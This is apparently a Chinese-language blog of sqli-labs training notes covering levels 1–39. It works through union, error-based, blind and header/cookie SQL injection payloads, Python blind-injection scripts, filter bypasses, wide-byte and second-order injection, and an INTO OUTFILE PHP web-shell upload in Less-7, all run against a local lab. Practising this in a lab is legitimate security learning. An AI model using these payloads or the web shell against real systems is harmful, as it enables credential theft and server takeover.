sqli-lab修煉筆記

前言:最近做了一些sql注入的題目,發現自己還是不怎麼會,很多東西都還沒有見過,所以就下載了sqli-lab來練一練,每天至少做一題。

一.Less-1

這個沒有任何過濾,就不說了。

///////////////////0' order by 3
///////////////////0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() %23
####emails,referers,uagents,users

///////////////////0' union select 1,group_concat(column_name),2 from information_schema.columns where table_name='users' %23
#####USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,usernamefilename,id,username,password

///////////////////0' union select group_concat(username),group_concat(password),group_concat(id) from users %23

二.Less-2

輸入1,正常顯示,輸入1‘,報錯

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1

所以這是一個intiger injection。
輸入

1 order by 1 正常回顯
1 order by 2 正常回顯
1 order by 3 正常回顯
1 order by 4 不正常回顯
所以我們可以知道有3個字段

繼續

0 union select 1,2,3 %23  

回顯在這裏插入圖片描述說明 顯示第二個和第三個。
繼續注入

0 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() %23

爆出表名 emails,referers,uagents,users
繼續注入

0 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' %23

爆出字段名
USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,usernamefilename,id,username,password
繼續注入

0 union select 1,group_concat(username),group_concat(password) from users %23

爆出所有用戶名和密碼。
在這裏插入圖片描述

三.Less-3

首先輸入1,正常回顯,輸入1‘ 報錯,報錯如下。
在這裏插入圖片描述
說明原來的語句可能是這樣的

select * from users where id=('  變量  ') limit 0,1;

打開語句果然是這樣。接下來就和上面一樣開始注入

0') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() %23

結果如下

 emails,referers,uagents,users

繼續注入

0') union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' %23

結果如下

USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,usernamefilename,id,username,password

繼續注入

0') union select 1,group_concat(username),group_concat(password) from users %23

在這裏插入圖片描述

四.Less-4

只是把上面的單引號換成了雙引號。

五.Less-5

打開測試了一下,發現顯示 you are in …。一時間不知道如何下手,看了title,double query,雙查詢注入,查了一下。

1.聚合函數後面如果加了分組函數 就會報錯,並會返回查詢結果。聚合函數有這些

AVG([distinct] expr)
COUNT({*|[distinct] } expr)
MAX([distinct] expr)
MIN([distinct] expr)
SUM([distinct] expr)
其中count後面能加  '*'

2.floor(rand()*2)生成隨機數並且想下取整。爲什麼要用這個呢?
floor(rand()*2),會生成0或者1,只要表裏面有兩個相同的就會報錯。如下圖所示。
在這裏插入圖片描述這樣就能報錯注入了。

127.0.0.1/www/sql/Less-5/?id=-1' union select count(*),1,concat((select database()),floor(2*rand()))as a from information_schema.tables group by a %23
//////
127.0.0.1/www/sql/Less-5/?id=-1' union select count(*),1,concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(2*rand()))as a from information_schema.tables group by a %23
//////

其他的都類似就不寫了。

還可以用多表查詢的格式來報錯注入

//select 1 from (table name); 多表查詢
 -1' union select 1,2,1 from (select count(*), concat((select user()), floor(rand()*2))as a from information_schema.tables group by a)b

最後那個b也可以改爲其他的,只是個別名,一定要加上去,因爲每一個派生類的表都要有別名。

六.Less-6

單引號換爲雙引號就行了。

七.Less-7

輸入 1 顯示you are in —USE outfile—,接着輸入1‘ 報錯,接着輸入1" 不報錯,輸入1’)%23報錯,輸入1‘))%23不報錯,所以用1‘))來閉合,接着發現輸入一些常用的,都不會顯示結果,報錯注入也沒有用。然後看了title,outfile,於是上網搜索了一下,outfile。
於是用以下的payload。

id=1')) union select 1,2,'<?php @eval($_POST["123"]);?>' into outfile 'D:\\wamp\\tmp\\qwe.php' %23

試了其他的存放路徑好像不太行,可能是權限問題吧,這樣就上傳了一句話木馬,chopper連接就行了。

八.Less-8

今天做了一下那個強網的sql注入題,嗚嗚嗚,tcl。
輸入1,回顯you are in ,輸入 1’ %23 ,有回顯 。
說明這個是單引號閉合,可是又沒有回顯。這個時候,試一試盲注。

import requests

url1='http://127.0.0.1/www/sql/Less-8/?id='
data="1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0},1))={1},sleep(5),0) %23"
table_name=''
for i in range(1,20):
	for j in range(48,128):
		d=data.format(i,j)
		url=url1+d
		try:
			r=requests.get(url=url,timeout=5)
		except requests.exceptions.ReadTimeout:
			table_name+=chr(j)
	print(table_name)

這樣得到第一個表名,然後稍稍修改就行了。

九.Less-9

這題無論輸入什麼,都不會報錯,那這樣輸入

1' and 1=1 and sleep(5) %23

發現過了5s,瀏覽器纔給予迴應,接着這樣輸入

1“ and 1=1 and sleep(5) %23

這樣就直接給予迴應,所以這裏應該是單引號閉合的,而且是一個盲注,所以我們寫腳本。
腳本和less7的那個差不多,只要把url該一下就行了。

十.Less-10

單引號改爲雙引號就行了。

十一.Less-11

嘗試一下 admin’ or 1=1 #,密碼隨便輸,竟然成功,所以這裏就很簡單了,沒有任何過濾,hiahiahia。

1' union select group_concat(table_name),1 from information_schema.tables where table_schema=database() #

脫表名,然後就和之前一下很簡單啦。

十二.Less-12

輸入admin’ 沒有任何回顯,輸入admin" 報錯了
報錯如下

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"admin"") and password=("") LIMIT 0,1' at line 1


可以的看到這裏是用("")來閉合的,所以我們只要閉合這個"),就可以了。
輸入admin") or 1=1 # 就可以得到username和password。
然後下面就很好注入了,依次得到數據庫裏面的內容。

十三.Less-13

簡單的測試了一下,發現是‘)閉合的,而且沒有回顯,可以用基於布爾型的盲注,或者double query injection。
基於布爾型的盲注

1‘) or substr((查詢語句),1,1)>'a' #

double query injection

1') union select count(*),concat( (select database()),floor(rand()*2)) as a from information_schema.tables group by a #

建議使用基於布爾的盲注,因爲double query 有的時候需要試好幾次。

十四.Less-14

輸入1‘ 沒有回顯,輸入1“報錯了,說明這個是雙引號閉合,構造payload

1" union select count(*),concat( (select database()),floor(rand()*2)) as a from information_schema.tables group by a #

或者基於bool的盲注

1“ or substr(查詢語句,1,1)>'a'#

寫python腳本進行盲注,當頁面第一次出現失敗的時候,字母的前一位就是正確的值。
下面只是一個小例子。


import requests

url1='http://127.0.0.1/www/sql/Less-14/'
flag=''
for j in range(1,16):
	for i in range(47,127):
		payload={
			'uname':"1\" or ascii(substr((select database()),{},1))>{} #",
			'passwd':'1'
		}
		payload['uname']=payload['uname'].format(str(j),str(i))
		r=requests.post(url=url1,data=payload)
		print(payload)
		if 'flag' not in r.content.decode('utf-8'):
			flag+=chr(i)
			break
print(flag)
	
	

	
	

十五.Less-15
輸入 1‘ or 1=1 #成功
輸入 1" or 1=1 #失敗
所以是單引號閉合
這邊不會報錯,所以我們就用盲注,基於bool,或者時間。
基於bool

import requests

url1='http://127.0.0.1/www/sql/Less-15/'
flag=''
for j in range(1,16):
	for i in range(47,127):
		payload={
			'uname':"1' or ascii(substr((select database()),{},1))>{} #",
			'passwd':'1'
		}
		payload['uname']=payload['uname'].format(str(j),str(i))
		r=requests.post(url=url1,data=payload)
		print(payload)
		if 'flag' not in r.content.decode('utf-8'):
			flag+=chr(i)
			break
print(flag)
	
	

十六.Less-16

經過一番小測試,測試出來原來的語句是用") 來閉合的。輸入admin") and if(2>1,sleep(5),3)#發現瀏覽器果然過了5秒鐘,纔給予迴應,所以我們可以時間盲注來進行注入,當然我們也可以用基於bool的盲注,進行注入。
這裏我只貼出基於時間盲注的一個小腳本,需要使用的時候自己稍微改一下,也不是很麻煩。我這裏爲什麼要加ascii呢,因爲我之前跑的時候,發現他這個不會區分大小寫,這就很難受,所以我加了ascii。

import requests

url="http://127.0.0.1/www/sql/Less-16/"
flag=""

for i in range(1,15):
	for j in range(48,127):
		payload={
			'uname':'admin") and if(ascii(substr((select database()),{},1))={},sleep(3),1)#',
			'passwd':'1'
		}
		payload['uname']=payload['uname'].format(str(i),str(j))
		try:
			r=requests.post(url=url,data=payload,timeout=3)
		except:
			flag+=chr(j)
			print(flag)
print('the data is '+flag)

用的時候需要自己改查詢語句。

十七.Less-17

登陸頁面我們發現這是一個密碼重置,所以猜測後臺的sql語句是這樣的,

update set password=' ' where username=xxxx

可以用updatexml,也可以用extractxml進行注入。

1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) #
1' and extractvalue(1,concat(0x7e,(select database()),0x7e)) #

然後就很簡單了,查數據就行了。

十八.Less-18

進入網址,測試了一番沒有什麼用,然後讀了源碼,發現這個題目必須要登陸進去才能進行注入。注入點在哪呢,host肯定是不能注入的,uname也肯定是不能注入的,只能在uagent那邊進行注入。
源代碼如下

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-18 Header Injection- Error Based- string</title>
</head>

<body bgcolor="#000000">

<div style=" margin-top:20px;color:#FFF; font-size:24px; text-align:center"> Welcome&nbsp;&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br></div>
<div  align="center" style="margin:20px 0px 0px 510px;border:20px; background-color:#0CF; text-align:center;width:400px; height:150px;">
<div style="padding-top:10px; font-size:15px;">
 

<!--Form to post the contents -->
<form action="" name="form1" method="post">

  <div style="margin-top:15px; height:30px;">Username : &nbsp;&nbsp;&nbsp;
    <input type="text"  name="uname" value=""/>  </div>
  
  <div> Password : &nbsp; &nbsp;
    <input type="text" name="passwd" value=""/></div></br>
    <div style=" margin-top:9px;margin-left:90px;"><input type="submit" name="submit" value="Submit" /></div>
</form>
</div>
</div>
<div style=" margin-top:10px;color:#FFF; font-size:23px; text-align:center">
<font size="3" color="#FFFF00">



<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
	
function check_input($value)
	{
	if(!empty($value))
		{
		// truncation (see comments)
		$value = substr($value,0,20);
		}

		// Stripslashes if magic quotes enabled
		if (get_magic_quotes_gpc())
			{
			$value = stripslashes($value);
			}

		// Quote if not a number
		if (!ctype_digit($value))
			{
			$value = "'" . mysql_real_escape_string($value) . "'";
			}
		
	else
		{
		$value = intval($value);
		}
	return $value;
	}



	$uagent = $_SERVER['HTTP_USER_AGENT'];
	$IP = $_SERVER['REMOTE_ADDR'];
	echo "<br>";
	echo 'Your IP ADDRESS is: ' .$IP;
	echo "<br>";
	//echo 'Your User Agent is: ' .$uagent;
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))

	{
	$uname = check_input($_POST['uname']);
	$passwd = check_input($_POST['passwd']);
	
	/*
	echo 'Your Your User name:'. $uname;
	echo "<br>";
	echo 'Your Password:'. $passwd;
	echo "<br>";
	echo 'Your User Agent String:'. $uagent;
	echo "<br>";
	echo 'Your User Agent String:'. $IP;
	*/

	//logging the connection parameters to a file for analysis.	
	$fp=fopen('result.txt','a');
	fwrite($fp,'User Agent:'.$uname."\n");
	
	fclose($fp);
	
	
	
	$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
	$result1 = mysql_query($sql);
	$row1 = mysql_fetch_array($result1);
		if($row1)
			{
			echo '<font color= "#FFFF00" font size = 3 >';
			$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
			mysql_query($insert);
			//echo 'Your IP ADDRESS is: ' .$IP;
			echo "</font>";
			//echo "<br>";
			echo '<font color= "#0000ff" font size = 3 >';			
			echo 'Your User Agent is: ' .$uagent;
			echo "</font>";
			echo "<br>";
			print_r(mysql_error());			
			echo "<br><br>";
			echo '<img src="../images/flag.jpg"  />';
			echo "<br>";
			
			}
		else
			{
			echo '<font color= "#0000ff" font size="3">';
			//echo "Try again looser";
			print_r(mysql_error());
			echo "</br>";			
			echo "</br>";
			echo '<img src="../images/slap.jpg"   />';	
			echo "</font>";  
			}

	}

?>


</font>
</div>
</body>
</html>

所以我們這邊利用報錯注入得到數據。
burp抓包,修改數據。

User-Agent: hahaha' and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '1'='1
User-Agent: hahaha' and updatexml(1,concat(0x7e,(select database()),0x7e),1) or '1'='1

以上兩個都可以,這樣就得到了數據內容。接下來還和常規套路一樣,直接爆表那些的。

十九.Less-19

主要代碼如下

$uagent = $_SERVER['HTTP_REFERER'];
	$IP = $_SERVER['REMOTE_ADDR'];
$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
	$result1 = mysql_query($sql);
	$row1 = mysql_fetch_array($result1);
		if($row1)
			{
			echo '<font color= "#FFFF00" font size = 3 >';
			$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
			mysql_query($insert);

			
			}

我們可以修改referer,然後造成報錯注入。
burp抓包,修改referer爲下面內容

Referer: 123' and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '1'='1

 或者
 Referer: 123' and updatexml(0x7e,concat(0x7e,(select database()),0x7e),0x7e) and '1'='1

接着就是常規套路,?

二十.Less-20

首先登陸進去,看到頁面返回如下信息。
在這裏插入圖片描述
看到這裏有cookie,我們就想到cookie注入。
用burp抓包嘗試一下注入。
將cookie改爲1‘ ,頁面會報錯。
將cookie改爲1“,頁面正常顯示。
所以我們這裏開始注入,測試發現原來查詢語句,查詢了3個字段,回顯在第二,第三字段。
如下圖所示。
在這裏插入圖片描述然後就可以按常規發放注入了。

二十一.Less-21

源代碼如下。

$cookee = base64_decode($cookee);
			echo "<br></font>";
			$sql="SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";

cookie注入,burp抓一下包,發現cookie用了base64加密了,那隻需要將我們的注入語句進行base64加密就行了。
請求包如下

GET /index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.47 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: uname=MScpIHVuaW9uIHNlbGVjdCAxLGdyb3VwX2NvbmNhdCh0YWJsZV9uYW1lKSwzIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWE9ZGF0YWJhc2UoKSAj
Upgrade-Insecure-Requests: 1


二十二.Less-22

重要代碼如下

			$cookee = base64_decode($cookee);
			$cookee1 = '"'. $cookee. '"';
			echo "<br></font>";
			$sql="SELECT * FROM users WHERE username=$cookee1 LIMIT 0,1";

這邊的cookie被他用雙引號給引起來了,所以還是很簡單。
請求包如下

GET /Less-22/index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.47 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: uname=MSIgdW5pb24gc2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCkgIw==
Upgrade-Insecure-Requests: 1


二十三.Less-23

測試了一下,這邊是單引號閉合,而且把註釋符給過濾了,不過並沒有什麼用。我們可以通過 and ‘1’=‘1 這種方式來閉合單引號,這樣就不需要註釋了,嘻嘻嘻。
這邊的姿勢就很多了,可以直接union查詢,也可以報錯注入。

-1' union select 1,2,3 and '1'='1

-1' and updatexml(0x7e,concat(0x7e,(select database()),0x7e),0x7e) and '1'='1

剩下的就很簡單了。

二十四.Less-24

這個是一個二次注入,雖然在執行sql語句的時候,加了/ 轉義,但是當數據插入表的時候,還是原來的語句,這個時候就造成了二次注入,這樣我們就可以修改管理員的密碼。
我們註冊一個用戶 叫 admin’# ,然後登陸進去修改密碼,修改完後,admin的密碼就是你剛剛修改的密碼。爲什麼會這樣呢,看一下下面這個update語句就知道了。

$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

當我們輸入的時候,這個語句會變成這樣子

update users set password='123' where username='admin'#' and password='$curr_pass';

這個時候後面的的東西就被註釋掉了,所以管理員密碼也就被改掉了。

二十五.Less-25

登陸進去發現他已經告訴我們了 and 和 or 被過濾了,然後我嘗試輸入anandd,發現回顯and,說明他只是把and替換成了空,我們這裏可以雙寫繞過,這就很簡單了,嘿嘿嘿。
payload如下

-1' union select 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema=database()  %23

注意這裏的information裏面的or要雙寫,這樣我們就可以得到了數據庫裏面所有的內容。

二十六.Less-26

這裏過濾了空格和and or,不過沒關係,我們都可以繞過的。
payload如下,利用報錯注入。

id=0%27||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database())),0x7e),1))||%27%27=%27a

二十七.Less-27

過濾了select,union,發現union可以雙寫繞過,select就不能雙寫繞過了,然而可以大小寫繞過,這樣就很簡單了,嘻嘻嘻。空格可以用%a0 %09代替,payload如下

0'uunionnion%09sElect%091,2,3%09||'2'='3

二十八.Less-28

首先判斷這是一個‘)閉合的語句,然後測試他是怎麼過濾 union和select的,經過測試發現,當輸入union select的時候他就替換爲空,單個輸入union和select的時候是不會替換爲空的,所以我們這裏可以不用%09來代替空格,我們可以用%a0來代替空格,所以最後的payload如下:

0')%a0union%a0select%091,user(),version()%a0||('3'='2

二十九.Less-29

直接附上別人博客地址

https://blog.csdn.net/weixin_33804990/article/details/88176715

三十.Less-30

這一關和上面都差不多隻不過閉合的不一樣。

三十一.Less-31

和上一關一樣。。。。。。。。。

三十二.Less-32

寬字節注入,因爲編碼設置爲gbk,而在中文中%df%5c(%5c爲\的url編碼)爲一個漢字,所以就造成了注入。
payload

%df' union select 1,2,3 %23

三十三.Less-33

同32關

三十四,Less-34

還是用寬字節 ,可以使用盲注 或者 報錯注入。

三十五.Less-35

先測試一下,好像原語句沒有引號,select * from users where id=$id; 應該是這樣的。
那就直接注入,0 union select 1,2,3 %23怎麼感覺後面的越來越簡單了。。。。。

三十六.Less-36

payload:0%df%27%20union%20select%201,2,3%20%23

三十七.Less-37

寬字節報錯注入

�' || extractvalue(1,concat(0x7e,(select database()),0x7e)) #

三十八.Less-38

這個題目可以直接注入

0’ union select 1,2,3 %23

看了一下源碼,好像是可以堆疊注入的。

三十九.Less-39

payload

0 union select 1,2,3 %23

這裏也是可以堆疊注入的。。。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章